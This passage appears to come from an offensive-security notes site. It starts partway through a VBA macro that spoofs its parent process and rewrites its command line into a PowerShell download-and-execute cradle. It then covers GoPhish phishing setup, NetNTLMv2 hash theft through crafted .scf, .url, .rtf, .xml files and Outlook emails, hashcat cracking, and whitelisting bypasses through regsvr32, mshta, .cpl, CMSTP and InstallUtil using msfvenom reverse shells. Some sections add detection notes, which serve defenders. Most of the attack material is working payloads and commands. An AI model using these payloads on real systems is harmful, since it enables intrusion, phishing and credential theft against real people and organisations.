    ByRef lpNumberOfBytesWritten As Long _
) As Boolean


Private Declare Function ResumeThread Lib "kernel32.dll" (ByVal hThread As LongPtr) As Long


'''''''''''''''''''''''''''''''''''''''''''''''
'''''''''''''' Utility functions ''''''''''''''
'''''''''''''''''''''''''''''''''''''''''''''''

' Finds the PID of a process given its name
Public Function getPidByName(ByVal name As String) As Integer
    Dim pEntry As PROCESSENTRY32
    Dim continueSearching As Boolean
    pEntry.dwSize = Len(pEntry)
    Dim snapshot As LongPtr

    snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, ByVal 0&)
 
    continueSearching = Process32First(snapshot, pEntry)
 
    Do
        If Left$(pEntry.szexeFile, Len(name)) = LCase$(name) Then
            getPidByName = pEntry.th32ProcessID
            continueSearching = False
        Else
            continueSearching = Process32Next(snapshot, pEntry)
        End If
    Loop While continueSearching
End Function

Public Function convertStr(ByVal str As String) As Byte()
    Dim i, j As Integer
    Dim result(400) As Byte
    j = 0
    For i = 1 To Len(str):
        result(j) = Asc(Mid(str, i, 1))
        result(j + 1) = &H0
        j = j + 2
    Next
    
    convertStr = result
    
End Function

Sub AutoOpen()
    Dim pi As PROCESS_INFORMATION
    Dim si As STARTUPINFOEX
    Dim nullStr As String
    Dim pid, result As Integer
    Dim threadAttribSize As Integer
    Dim parentHandle As LongPtr
    Dim originalCli As String
    
    originalCli = "powershell.exe -NoExit -c Get-Service -DisplayName '*network*' | Where-Object { $_.Status -eq 'Running' } | Sort-Object DisplayName"
    
    ' Get a handle on the process to be used as a parent
    pid = getPidByName("explorer.exe")
    parentHandle = OpenProcess(PROCESS_ALL_ACCESS, False, pid)

    ' Initialize process attribute list
    result = InitializeProcThreadAttributeList(ByVal 0&, 1, 0, threadAttribSize)
    si.lpAttributelist = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, threadAttribSize)
    result = InitializeProcThreadAttributeList(si.lpAttributelist, 1, 0, threadAttribSize)

    ' Set the parent to be our previous handle
    result = UpdateProcThreadAttribute(si.lpAttributelist, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, parentHandle, Len(parentHandle), ByVal 0&, ByVal 0&)

    ' Set the size of cb (see https://docs.microsoft.com/en-us/windows/desktop/api/winbase/ns-winbase-_startupinfoexa#remarks)
    si.STARTUPINFO.cb = LenB(si)
    
    ' Hide new process window
    si.STARTUPINFO.dwFlags = 1
    si.STARTUPINFO.wShowWindow = SW_HIDE

    result = CreateProcess( _
        nullStr, _
        originalCli, _
        ByVal 0&, _
        ByVal 0&, _
        1&, _
        &H80014, _
        ByVal 0&, _
        nullStr, _
        VarPtr(si), _
        pi _
    )
    
    ' Spoofing of cli arguments
    Dim size As Long
    Dim PEB As PEB
    Dim pbi As PROCESS_BASIC_INFORMATION
    Dim newProcessHandle As LongPtr
    Dim success As Boolean
    Dim parameters As RTL_USER_PROCESS_PARAMETERS
    Dim cmdStr As String
    Dim cmd() As Byte
    
    newProcessHandle = OpenProcess(PROCESS_ALL_ACCESS, False, pi.dwProcessId)
    result = NtQueryInformationProcess(newProcessHandle, 0, pbi, Len(pbi), size)
    success = ReadProcessMemory(newProcessHandle, pbi.PEBBaseAddress, VarPtr(PEB), Len(PEB), size)
    ' peb.ProcessParameters now contains the address to the parameters - read them
    success = ReadProcessMemory(newProcessHandle, PEB.ProcessParameters, VarPtr(parameters), Len(parameters), size)
    
    cmdStr = "powershell.exe -noexit -ep bypass -c IEX((New-Object System.Net.WebClient).DownloadString('http://bit.ly/2TxpA4h')) # "
    cmd = convertStr(cmdStr)
    success = WriteProcessMemory(newProcessHandle, parameters.CommandLine.Buffer, StrPtr(cmd), 2 * Len(cmdStr), size)
    ResumeThread (pi.hThread) 
End Sub
```

![](/files/-Lc8DdOcb4fKn0ItCJxP)

## References

{% embed url="<https://www.countercept.com/blog/dechaining-macros-and-evading-edr/>" %}

{% embed url="<https://blog.didierstevens.com/2008/10/23/excel-exercises-in-style/>" %}

{% embed url="<https://www.scriptjunkie.us/2012/01/direct-shellcode-execution-in-ms-office-macros/>" %}

{% embed url="<https://blog.didierstevens.com/2009/05/06/shellcode-2-vbscript/>" %}

{% embed url="<https://blog.christophetd.fr/building-an-office-macro-to-spoof-process-parent-and-command-line/>" %}


# Phishing: Embedded HTML Forms

Code execution with embedded HTML Form Objects

In this phishing lab I am just playing around with the POCs researched, coded and described by Yorick Koster in his blog post [Click me if you can, Office social engineering with embedded objects](https://securify.nl/blog/SFY20180801/click-me-if-you-can_-office-social-engineering-with-embedded-objects.html)

## Execution

![](/files/-LLP0QqjMQH0JmxAI59j)

{% file src="/files/-LLP0dJuTS\_RdHPctpvr" %}
Forms.ps1
{% endfile %}

{% file src="/files/-LLP0Y2tVNXrOS-qoqjp" %}
Forms.docx
{% endfile %}

## Observations

These types of phishing documents can be identified by looking for the CLSID 5512D112-5CC6-11CF-8D67-00AA00BDCE1D in the embedded `.bin` files:

![](/files/-LLP11w7b5dwx2QN9I6C)

...as well as inside the activeX1.xml file:

![](/files/-LLP0Pamd6EwRl-1AWn4)

As usual, MS Office applications spawning cmd.exe or powershell.exe should be investigated:

![](/files/-LLP1VLs6A-1Aq2xHze7)

## References

{% embed url="<https://securify.nl/blog/SFY20180801/click-me-if-you-can_-office-social-engineering-with-embedded-objects.html>" %}


# Phishing with GoPhish and DigitalOcean

This lab is dedicated to exploring one of the phishing frameworks GoPhish. I will be installing and configuring GoPhish on a DigitalOcean VPS running Ubuntu Linux distribution.

## Configuring Environment

### DigitalOcean VPS

The dropled that I have created got assigned an IP address `68.183.113.176`

Let's login to the VPS and install the mail delivery agent:

{% code title="attacker\@kali" %}

```csharp
ssh root@68.183.113.176
apt-get install postfix
```

{% endcode %}

![](/files/-LVoS_OcY-ohW-hUdMGy)

Point `mynetworks` variable in postfix config to the IP we got assigned in DigitalOcean:

{% code title="attacker\@vps" %}

```csharp
nano /etc/postfix/main.cf
```

{% endcode %}

![](/files/-LVjhJgshVbLYvKNUWvs)

### Configure DNS Zones

Create an `A` record `mail` that points to the VPS IP and an `MX` record that points to `mail.yourdomain`:

![](/files/-LVjh1v1ZZiqHRqukbtM)

### Install GoPhish

{% code title="attacker\@vps" %}

```csharp
wget https://github.com/gophish/gophish/releases/download/0.7.1/gophish-v0.7.1-linux-64bit.zip
apt install unzip
unzip gophish-v0.7.1-linux-64bit.zip 
chmod +x gophish
```

{% endcode %}

![](/files/-LVjhGWqEbjavf_0m4I1)

## Execution

Launching GoPhish is simple:

{% code title="attacker\@vps" %}

```csharp
./gophish
```

{% endcode %}

![](/files/-LVjhF48ilLNAa6Xp4Ah)

GoPhish admininistration panel is bound to 127.0.0.1:3333 by default, so we can either modify the config and change it to listen on 0.0.0.0 (all interfaces) if we want to access the admin panel from the Internet or create a local SSH tunnel if we want to restrict access to local network only. Let's do an SSH tunnel:

{% code title="attacker\@kali" %}

```csharp
ssh root@68.183.113.176 -L3333:localhost:3333 -N -f
```

{% endcode %}

We can now access the GoPhish admin panel via `https://127.0.0.1:3333` from our Kali box. After creating user groups (phish targets), landing pages (phishing pages victims will see if they click on our phishing links), etc, we can create an email template - the email that will be sent to the unsuspecting victims as part of a phishing campaign that we will create in the next step:

![](/files/-LVjhDD6NGaiOe-gENde)

Below is a quick demo of how a new campaign is put together once all the other pieces mentioned above are in place (users, templates, landing pages):

![](/files/-LVjhAvK5i_NB8AkT2WN)

## Receiving the Phish

Below is the actual end result of our mock phish campaign:

![](/files/-LVjh5tpohiTzCTxvPI5)

The URL found in the above phish email takes the user to our mock phishing page:

![](/files/-LVjh3rv8BVL-OaPUcZr)

## Campaign Results

Switching to `Campaigns` section of the admin panel, we can see how many emails were sent as part of the campaign, how many of them were opened and how many times the phishing URL was clicked:

![](/files/-LVjjCGda2tGS6R2SWbo)

## References

{% embed url="<https://docs.getgophish.com/user-guide/building-your-first-campaign/creating-the-template>" %}

{% embed url="<http://www.postfix.org/BASIC_CONFIGURATION_README.html>" %}


# Forced Authentication

Credential Access, Stealing hashes

## Execution via Hyperlink

Let's create a Word document that has a hyperlink to our attacking server where  `responder` will be listening on port 445:

![](/files/-LKC4fAdfKEX0Kd4zlgf)

{% file src="/files/-LKCBShcRBkX-C8wHDqk" %}
Forced SMBv2 Authentication - MS Word File
{% endfile %}

Let's start `Responder` on our kali box:

{% code title="attacker\@local" %}

```csharp
responder -I eth1
```

{% endcode %}

Once the link in the document is clicked, the target system sends an authentication request to the attacking host. Since responder is listening on the other end, victim's `NetNTLMv2` hash is captured:

![](/files/-LKC95OKwWvm9FWiXc6e)

The retrieved hash can then be cracked offline with hashcat:

```csharp
hashcat -m5600 /usr/share/responder/logs/SMBv2-NTLMv2-SSP-10.0.0.2.txt /usr/share/wordlists/rockyou.txt --force
```

Success, the password is cracked:

![](/files/-LKCA3c5a-MzMOTuxx3q)

Using the cracked passsword to get a shell on the victim system:

![](/files/-LKCAGEuBq07bj27tGIx)

## Execution via .SCF

Place the below `fa.scf` file on the attacker controlled machine at `10.0.0.7` in a shared folder `tools`

{% code title="\10.0.0.7\tools\fa.scf" %}

```csharp
[Shell]
Command=2
IconFile=\\10.0.0.5\tools\nc.ico
[Taskbar]
Command=ToggleDesktop
```

{% endcode %}

{% file src="/files/-LKCbD5PDxdhLsU3TlEt" %}
fa.scf
{% endfile %}

A victim user `low` opens the share `\\10.0.0.7\tools` and the `fa.scf` gets executed automatically, which in turn forces the victim system to attempt to authenticate to the attacking system at 10.0.0.5 where responder is listening:

![victim opens \\\10.0.0.7\tools, fa.scf executes and gives away low's hashes](/files/-LKCXuht57709Z3aInGZ)

![user's low hashes were received by the attacker](/files/-LKCXuhrcaEw8YDKnwq7)

What's interesting with the `.scf` attack is that the file could easily be downloaded through the browser and as soon as the user navigates to the `Downloads` folder, users's hash is stolen:

![](/files/-LKCa57wIu4idO3s7xlW)

## Execution via .URL

Create a weaponized .url file and upload it to the victim system:

{% code title="c:\link.url\@victim" %}

```csharp
[InternetShortcut]
URL=whatever
WorkingDirectory=whatever
IconFile=\\10.0.0.5\%USERNAME%.icon
IconIndex=1
```

{% endcode %}

Create a listener on the attacking system:

{% code title="attacker\@local" %}

```
responder -I eth1 -v
```

{% endcode %}

Once the victim navigates to the C:\ where `link.url` file is placed, the OS tries to authenticate to the attacker's malicious SMB listener on `10.0.0.5` where NetNTLMv2 hash is captured:

![](/files/-LNBbbi9QbPgnEV975AY)

## Execution via .RTF

Weaponizing .rtf file, which will attempt to load an image from the attacking system:

{% code title="file.rtf" %}

```csharp
{\rtf1{\field{\*\fldinst {INCLUDEPICTURE "file://10.0.0.5/test.jpg" \\* MERGEFORMAT\\d}}{\fldrslt}}}
```

{% endcode %}

Starting authentication listener on the attacking system:

{% code title="attacker\@local" %}

```
responder -I eth1 -v
```

{% endcode %}

Executing the file.rtf on the victim system gives away user's hashes:

![](/files/-LPlz_8cJxxMBbpLeGSk)

## Execution via .XML

MS Word Documents can be saved as .xml:

![](/files/-LTIqx0t4SlhDJDdnp9H)

This can be exploited by including a tag that requests the document stylesheet (line 3) from an attacker controlled server. The victim system will share its NetNTLM hashes with the attacker when attempting to authenticate to the attacker's system:

```markup
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<?mso-application progid="Word.Document"?>
<?xml-stylesheet type="text/xsl" href="\\10.0.0.5\bad.xsl" ?>
```

Below is the attack illustrated:

![](/files/-LTIqn7U-sNTvcz6Uq_1)

{% file src="/files/-LTIs3l6GF3Nvkmpiau1" %}
test-xls-stylesheet.xml
{% endfile %}

## Execution via Field IncludePicture

Create a new Word document and insert a new field `IncludePicture`:

![](/files/-LTIue9CV23QbGlp_Xtc)

Save the file as .xml. Note that the sneaky image url is present in the XML:

![](/files/-LTIuxNGAIJRG9Ceq57O)

Launching the document gives away victim's hashes immediately:

![](/files/-LTIvUDMNsKiX_VpjLGA)

{% file src="/files/-LTIvcpwM6vXaLP64QP2" %}
smb-image.xml
{% endfile %}

## Execution via HTTP Image and Internal DNS

If we have a foothold in a network, we can do the following:

* Create a new DNS A record (any authenticated user can do it) inside the domain, say `offense.local`, you have a foothold in, and point it to your external server, say `1.1.1.1`
  * Use [PowerMad](https://github.com/Kevin-Robertson/Powermad) to do this with: `Invoke-DNSUpdate -dnsname vpn -dnsdata 1.1.1.1`
* On your controlled server 1.1.1.1, start `Responder` and listen for HTTP connections on port 80
* Create a phishing email, that contains `<img src="http://vpn.offense.local"/>`&#x20;
  * Feel free to make the image 1x1 px or hidden
  * Note that `http://vpn.offense.local` resolves to `1.1.1.1` (where your Responder is listening on port 80), but only from inside the `offense.local` domain
* Send the phish to target users from the `offense.local` domain
* Phish recipients view the email, which automatically attemps to load the image from `http://vpn.offense.local`, which resolves to `http://1.1.1.1` (where Responder is litening on port 80)
* Responder catches NetNLTMv2 hashes for the targeted users with no user interaction required
* Start cracking the hashes
* Hopefully profit

## Farmer WebDav

When inside a network, we can attempt to force hash leaks from other users by forcing them to authenticate to our WebDav server that we can bind to any an unused port without administrator privileges. To achieve this, we can use a tool called [Farmer](https://github.com/mdsecactivebreach/Farmer) by [@domchell](https://twitter.com/domchell?s=20).

Below will make the farmer listen on port 7443:

```
Farmer.exe 7443
```

Below shows how the Farmer successfully collects a hash for the user `spotless` when they are forced to authenticate to the malicious webdav when `ls \\spotless@7443\spotless.png` is executed:

![](/files/-MVgElwKypgONia1Tzl_)

Below shows how the Farmer successfully collects a hash from user `spotless` via a shortcut icon that points to our malicious webdav at `\\spotless@3443\spotless.png`:

![](/files/-MVgIZw9CYFtkwLA16JH)

## References

{% embed url="<http://www.defensecode.com/whitepapers/Stealing-Windows-Credentials-Using-Google-Chrome.pdf>" %}

{% embed url="<https://www.bleepingcomputer.com/news/security/you-can-steal-windows-login-credentials-via-google-chrome-and-scf-files/>" %}

{% embed url="<https://pentestlab.blog/2017/12/13/smb-share-scf-file-attacks/>" %}

{% embed url="<https://medium.com/@markmotig/a-better-way-to-capture-hashes-with-no-user-interaction-by-markmo-bd1569bfa208>" %}

{% embed url="<https://bohops.com/2018/08/04/capturing-netntlm-hashes-with-office-dot-xml-documents/>" %}

{% embed url="<https://twitter.com/bohops/status/1062935197107322880?s=12>" %}

{% embed url="<https://www.securify.nl/blog/SFY20180501/living-off-the-land_-stealing-netntlm-hashes.html>" %}

{% embed url="<https://www.mdsec.co.uk/2021/02/farming-for-red-teams-harvesting-netntlm/>" %}


# NetNTLMv2 hash stealing using Outlook

## Context

If a target system is not running the latest version of Windows/Outlook, it may be possible to craft such an email that allows an attacker to steal the victim's NetNTLMv2 hashes without requiring any interaction from the user - clicking the email to preview it is enough for the hashes to be stolen.

{% hint style="warning" %}
Note that this attack does not work on the most up to date version of Windows 10 and Outlook 2016 versions, so like always - patch early and often.
{% endhint %}

## Weaponization

Let's create a new HTML file with the below:

{% code title="message.html" %}

```markup
<html>
    <h1>holla good sir</h1>
    <img src="file://157.230.60.143/download.jpg">
</html>
```

{% endcode %}

An RTF file also works:

{% code title="message.rtf" %}

```javascript
{\rtf1{\field{\*\fldinst {INCLUDEPICTURE "file://157.230.60.143/test.jpg" \\* MERGEFORMAT\\d}}{\fldrslt}}}
```

{% endcode %}

Then insert a new file by clicking the attachment icon at the top on the window title bar:

![](/files/-LUpMfG_T7K31j6XY5ps)

Select the malicious messge.html and select `Insert as Text`:

![](/files/-LUpMin2p-IuizcaeDRb)

You should see that your message now looks like an HTML with a broken image (expected in our case since the path to the image is fake):

![](/files/-LUpMnj5l4vlHGV0L_Nf)

## Execution

Fire up `Responder` to listen for incoming SMB authentication requests from the victim

{% code title="attacker\@kali" %}

```csharp
responder -I eth1 -v
```

{% endcode %}

..and send the malicious email to the victim.

## Victim View

Once the victim opens their Outlook and clicks on the malicious email to preview it, their machine will attempt authenticating to the attacker controlled server (running Responder). This will give away the victim's `NetNTLMv2` hashes to the attacker, which they can then attempt at cracking:

![](/files/-LUpLKSkCJrM_4dCzS8O)

Once the hash is stolen, we can attempt cracking it:

{% code title="attacker\@kali" %}

```csharp
hashcat -m5600 'spotless::OFFENSE:6bdb56c8140cf8dc:FFEF94D55C2EB2DE8CF13F140687AD7A:0101000000000000A5A01FB2BE9ED401114D47C1916811640000000002000E004E004F004D00410054004300480001000A0053004D0042003100320004000A0053004D0042003100320003000A0053004D0042003100320005000A0053004D004200310032000800300030000000000000000000000000200000407D7D30819F03909981529F6ACA84502CFCC8B3555DBA34316F8914973DD03C0A0010000000000000000000000000000000000009001A0063006900660073002F00310030002E0030002E0030002E0035000000000000000000' -a 3 /usr/share/wordlists/rockyou.txt --force --potfile-disable
```

{% endcode %}

In this case, we can see the user had a ridiculously simple password, which got cracked immediately:

![](/files/-LUpNz2JAAkc7u1EzSBM)

The next step would be to use Ruler to gain a reverse shell from the victims corporate network:

{% content-ref url="/pages/-LUQ\_w-pb0g3vLtLq7g4" %}
[Password Spraying Outlook Web Access: Remote Shell](/offensive-security/initial-access/password-spraying-outlook-web-access-remote-shell)
{% endcontent-ref %}

## Mitigation

* Patch Windows and Outlook
* Block outgoing SMB connections to the Internet
* Read emails in plain text
* Enforce strong passwords

## References

{% embed url="<https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/may/smb-hash-hijacking-and-user-tracking-in-ms-outlook/>" %}


# Code Execution


# regsvr32

regsvr32 (squiblydoo) code execution - bypass application whitelisting.

## Execution

{% code title="<http://10.0.0.5/back.sct>" %}

```markup
<?XML version="1.0"?>
<scriptlet>
<registration
  progid="TESTING"
  classid="{A1112221-0000-0000-3000-000DA00DABFC}" >
  <script language="JScript">
    <![CDATA[
      var foo = new ActiveXObject("WScript.Shell").Run("calc.exe"); 
    ]]>
</script>
</registration>
</scriptlet>
```

{% endcode %}

We need to host the back.sct on a web server so we can invoke it like so:

{% code title="attacker\@victim" %}

```csharp
regsvr32.exe /s /i:http://10.0.0.5/back.sct scrobj.dll
```

{% endcode %}

## Observations

![calc.exe spawned by regsvr32.exe](/files/-LHFaljjT6HYczWn8BJF)

Note how regsvr32 process exits almost immediately. This means that just by looking at the list of processes on the victim machine, the evil process may not be immedialy evident... Not until you realise how it was invoked though. Sysmon commandline logging may help you detect this activity:

![](/files/-LHFdaYNLHBaElS6JjYh)

Additionally, of course sysmon will show regsvr32 establishing a network connection:

![](/files/-LHFeXmJeuBAGXEONuJD)

## References

{% embed url="<https://attack.mitre.org/wiki/Technique/T1117>" %}


# MSHTA

MSHTA code execution - bypass application whitelisting.

## Execution

Writing a scriptlet file that will launch calc.exe when invoked:

{% code title="<http://10.0.0.5/m.sct>" %}

```markup
<?XML version="1.0"?>
<scriptlet>
<registration description="Desc" progid="Progid" version="0" classid="{AAAA1111-0000-0000-0000-0000FEEDACDC}"></registration>

<public>
    <method name="Exec"></method>
</public>

<script language="JScript">
<![CDATA[
	function Exec()	{
		var r = new ActiveXObject("WScript.Shell").Run("calc.exe");
	}
]]>
</script>
</scriptlet>
```

{% endcode %}

Invoking the scriptlet file hosted remotely:

{% code title="attacker\@victim" %}

```csharp
# from powershell
/cmd /c mshta.exe javascript:a=(GetObject("script:http://10.0.0.5/m.sct")).Exec();close();
```

{% endcode %}

## Observations

As expected, calc.exe is spawned by mshta.exe. Worth noting that mhsta and cmd exit almost immediately after invoking the calc.exe:

![](/files/-LHKCYjhpCr1FQH8FZdr)

As a defender, look at sysmon logs for mshta establishing network connections:

![](/files/-LHKEILHR5pBRaB5KGNc)

Also, suspicious commandlines:

![](/files/-LHKE-qfgAQ6ampZ5gu6)

## Bonus

The hta file can be invoked like so:

```csharp
mshta.exe http://10.0.0.5/m.hta
```

![](/files/-LHKNDhiNyaEpAD1k6EM)

or by navigating to the file itself, launching it and clicking run:

![](/files/-LHKOJ_6AwX7wGoW84pc)

{% code title="<http://10.0.0.5/m.hta>" %}

```markup
<html>
<head>
<script language="VBScript"> 
    Sub RunProgram
        Set objShell = CreateObject("Wscript.Shell")
        objShell.Run "calc.exe"
    End Sub
RunProgram()
</script>
</head> 
<body>
    Nothing to see here..
</body>
</html>
```

{% endcode %}

## References

{% embed url="<https://attack.mitre.org/wiki/Technique/T1170>" %}


# Control Panel Item

Control Panel Item code execution - bypass application whitelisting.

## Execution

Generating a simple x64 reverse shell in a .cpl format:

{% code title="attacker\@local" %}

```csharp
msfconsole
use windows/local/cve_2017_8464_lnk_lpe
set payload windows/x64/shell_reverse_tcp
set lhost 10.0.0.5
exploit

root@~# nc -lvp 4444
listening on [any] 4444 ...
```

{% endcode %}

We can see that the .cpl is simply a DLL with DllMain function exported:

![](/files/-LHIXQpMGJKwzgdWzy0y)

A quick look at the dissasembly of the dll suggests that rundll32.exe will be spawned, a new thread will be created in suspended mode, which most likely will get injected with our shellcode and eventually resumed to execute that shellcode:

![](/files/-LHIZUKHIjXv2Va0DZfB)

Invoking the shellcode via control.exe:

{% code title="attacker\@victim" %}

```csharp
control.exe .\FlashPlayerCPLApp.cpl
# or
rundll32.exe shell32.dll,Control_RunDLL file.cpl
# or
rundll32.exe shell32.dll,Control_RunDLLAsUser file.cpl
```

{% endcode %}

Attacking machine receiving the reverse shell:

{% code title="attacker\@local" %}

```csharp
10.0.0.2: inverse host lookup failed: Unknown host
connect to [10.0.0.5] from (UNKNOWN) [10.0.0.2] 49346
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.
```

{% endcode %}

## Observations

Note how rundll32 spawns cmd.exe and establishes a connection back to the attacker - these are signs that should raise your suspicion when investingating a host for a compromise:

![](/files/-LHISXwhbMRB55-2L0r4)

As always, sysmon logging can help in finding suspicious commandlines being executed in your environment:

![](/files/-LHIoWGfiOuoxKPxwSH4)

## Bonus - Create Shortcut With PowerShell

```bash
$TargetFile = "$env:SystemRoot\System32\calc.exe"
$ShortcutFile = "C:\experiments\cpl\calc.lnk"
$WScriptShell = New-Object -ComObject WScript.Shell
$Shortcut = $WScriptShell.CreateShortcut($ShortcutFile)
$Shortcut.TargetPath = $TargetFile
$Shortcut.Save()
```

## References

{% embed url="<https://attack.mitre.org/wiki/Technique/T1196>" %}

{% embed url="<https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1060/T1060.md>" %}


# Executing Code as a Control Panel Item through an Exported Cplapplet Function

This is a quick note that shows how to execute code in a .cpl file, which is a regular DLL file representing a Control Panel item.

The .cpl file needs to export a function `CplApplet` in order to be recognized by Windows as a Control Panel item.

Once the DLL is compiled and renamed to .CPL, it can simply be double clicked and executed like a regular Windows .exe file.

## Code

{% code title="item.cpl" %}

```cpp
// dllmain.cpp : Defines the entry point for the DLL application.
#include "stdafx.h"
#include <Windows.h>

//Cplapplet
extern "C" __declspec(dllexport) LONG Cplapplet(
	HWND hwndCpl,
	UINT msg,
	LPARAM lParam1,
	LPARAM lParam2
)
{
	MessageBoxA(NULL, "Hey there, I am now your control panel item you know.", "Control Panel", 0);
	return 1;
}

BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
                     )
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
	{
		Cplapplet(NULL, NULL, NULL, NULL);
	}
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}
```

{% endcode %}

Once the DLL is compiled, we can see our exported function `Cplapplet`:

![](/files/-LrkCfYWSlA0SE-F9Cbs)

## Demo

Below shows that double-clicking the .cpl item is enough to launch it:

![](/files/-LrkBJ0N_SxV9o7zZMKE)

![](/files/-LrkGKjLUP72YIdIcUAE)

CPL file can also be launched with `control.exe <pathtothe.cpl>` like so:

![](/files/-LrkDrDA4g0FyE6-g1YP)

or with rundll32:

{% code title="attacker\@target" %}

```
rundll32 shell32, Control_RunDLL \\VBOXSVR\Experiments\cpldoubleclick
\cpldoubleclick\Debug\cpldoubleclick.cpl
```

{% endcode %}

![](/files/-LrkF4kFelWcedTuQ11R)

## References

{% embed url="<https://www.fireeye.com/blog/threat-research/2019/10/staying-hidden-on-the-endpoint-evading-detection-with-shellcode.html>" %}

{% embed url="<https://github.com/fireeye/DueDLLigence/blob/master/DueDLLigence/DueDLLigence.cs>" %}

{% embed url="<https://docs.microsoft.com/en-us/windows/win32/shell/using-cplapplet>" %}


# Code Execution through Control Panel Add-ins

It's possible to force explorer.exe to load your DLL that is compiled as a Control Panel Item and is registered as a Control Panel Add-in.

{% hint style="info" %}
This technique could also be considered for persistence.
{% endhint %}

## Execution

Let's compile our control panel item (which is a simple DLL with an exported function `Cplapplet`) from the below code:

```cpp
#include <Windows.h>
#include "pch.h"

//Cplapplet
extern "C" __declspec(dllexport) LONG Cplapplet(
    HWND hwndCpl,
    UINT msg,
    LPARAM lParam1,
    LPARAM lParam2
)
{
    MessageBoxA(NULL, "Hey there, I am now your control panel item you know.", "Control Panel", 0);
    return 1;
}

BOOL APIENTRY DllMain(HMODULE hModule,
    DWORD  ul_reason_for_call,
    LPVOID lpReserved
)
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
    {
        Cplapplet(NULL, NULL, NULL, NULL);
    }
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}
```

Let's now register our control panel item as an add-in (defenders beware of these registry modifications):

```
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Control Panel\CPLs" /v spotless /d "C:\labs\cplAddin\cplAddin\x64\Release\cplAddin2.dll" /f
```

![](/files/-MAHaORnicckqEQhwYT-)

Now, whenever the Control Panel is opened, our DLL will be injected into explorer.exe and our code will execute:

![](/files/-MAHc5q-vFlK4vwRqRGL)

Below shows that our DLL is injected into explorer.exe:

![](/files/-MAHe8Inj3QJgEYxnGzc)

## Detection

* Look for modifications in the following registry key: `HKCU\Software\Microsoft\Windows\CurrentVersion\Control Panel\CPLs`
* Look for / prevent DLLs from loading from unsecure locations

## References

<https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_InvisiMole.pdf>


# CMSTP

CMSTP code execution - bypass application whitelisting.

## Execution

Generating the a reverse shell payload as a DLL:

{% code title="evil.dll" %}

```csharp
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.0.0.5 LPORT=443 -f dll > /root/tools/mitre/cmstp/evil.dll
```

{% endcode %}

Creating a file that will be loaded by CSMTP.exe binary that will in turn load our evil.dll:

{% code title="f.inf" %}

```csharp
[version]
Signature=$chicago$
AdvancedINF=2.5
 
[DefaultInstall_SingleUser]
RegisterOCXs=RegisterOCXSection
 
[RegisterOCXSection]
C:\experiments\cmstp\evil.dll
 
[Strings]
AppAct = "SOFTWARE\Microsoft\Connection Manager"
ServiceName="mantvydas"
ShortSvcName="mantvydas"
```

{% endcode %}

Invoking the payload:

```csharp
PS C:\experiments\cmstp> cmstp.exe /s .\f.inf
```

## Observations

Rundll32 is spawned which then establishes the connection back to the attacker:

![](/files/-LHNkKxIiDT-JLbb1U9u)

A very privitive way of hunting for suspicious instances of rundll32 initiating connections would be skimming through the sysmon logs and looking for network connections being established by rundll32 immediately/soon after it had been spawned by cmstp.

Note how the connection was established one second after the process creation. This behaviour depends on what the payload is supposed to do, but if the payload is a reverse shell, it usually attempts connecting back immediately upon execution, which is exactly our case:

![](/files/-LHNzVZ2q2Jmc7oydGYH)

## References

{% embed url="<https://attack.mitre.org/wiki/Technique/T1191>" %}

{% embed url="<https://pentestlab.blog/2018/05/10/applocker-bypass-cmstp/>" %}


# InstallUtil

InstallUtil code execution - bypass application whitelisting.

## Execution

First of, let's generate a C# payload (with [InstallUtil script](https://github.com/khr0x40sh/WhiteListEvasion)) that contains shellcode from msfvenom and upload the temp.cs file to victim's machine:

{% code title="attacker\@local" %}

```csharp
python InstallUtil.py --cs_file temp.cs --exe_file temp.exe --payload windowsreverse_shell_tcp --lhost 10.0.0.5 --lport 443
```

{% endcode %}

Compile the .cs to an .exe:

{% code title="attacker\@victim" %}

```csharp
PS C:\Windows\Microsoft.NET\Framework\v4.0.30319> .\csc.exe C:\experiments\installUtil\temp.cs
```

{% endcode %}

Execute the payload:

{% code title="attacker\@victim" %}

```csharp
PS C:\Windows\Microsoft.NET\Framework\v4.0.30319> .\InstallUtil.exe /logfile= /LogToConsole=false /U C:\Windows\Microsoft.NET\Framework\v4.0.30319\temp.exe
Microsoft (R) .NET Framework Installation utility Version 4.0.30319.17929
Copyright (C) Microsoft Corporation.  All rights reserved.

Hello From Uninstall...I carry out the real work...
```

{% endcode %}

Enjoy the sweet reverse shell:

![](/files/-LHUlRemzkmdPnsbKP5U)

## Observations

Look for `InstallUtil` processes that have established connections, especially those with cmd or powershell processes running as children - you should treat them as suspicious and investigate the endpoint closer:

![](/files/-LHUlaDwNxHutv7Ow4Vc)

A very primitive query in kibana allowing to find events where InstallUtil spawns cmd:

{% code title="kibana" %}

```
event_data.ParentCommandLine:"*installutil.exe*" && event_data.Image:cmd.exe
```

{% endcode %}

![InstallUtil launching the malicious payload](/files/-LHUsNMxVLuWKHFkmlhs)

![csc.exe created a temp.exe which contains the reverse shell payload](/files/-LHUxQNLHymXzkR8SwSY)

What is interesting is that I could not see an established network connection logged in sysmon logs, although I could see other network connections from the victim machine being logged.

{% hint style="danger" %}
Will be coming back to this one for further inspection - possibly related to sysmon configuration.
{% endhint %}

## References

{% embed url="<https://attack.mitre.org/wiki/Technique/T1118>" %}

{% embed url="<https://github.com/khr0x40sh/WhiteListEvasion>" %}


# Using MSBuild to Execute Shellcode in C\#

It's possible to use a native windows binary MSBuild.exe to compile and execute inline C# code stored in an xml as discovered by [Casey Smith](https://twitter.com/subTee).

## Execution

Generate meterpreter shellode in c#:

{% code title="attacker\@kali" %}

```csharp
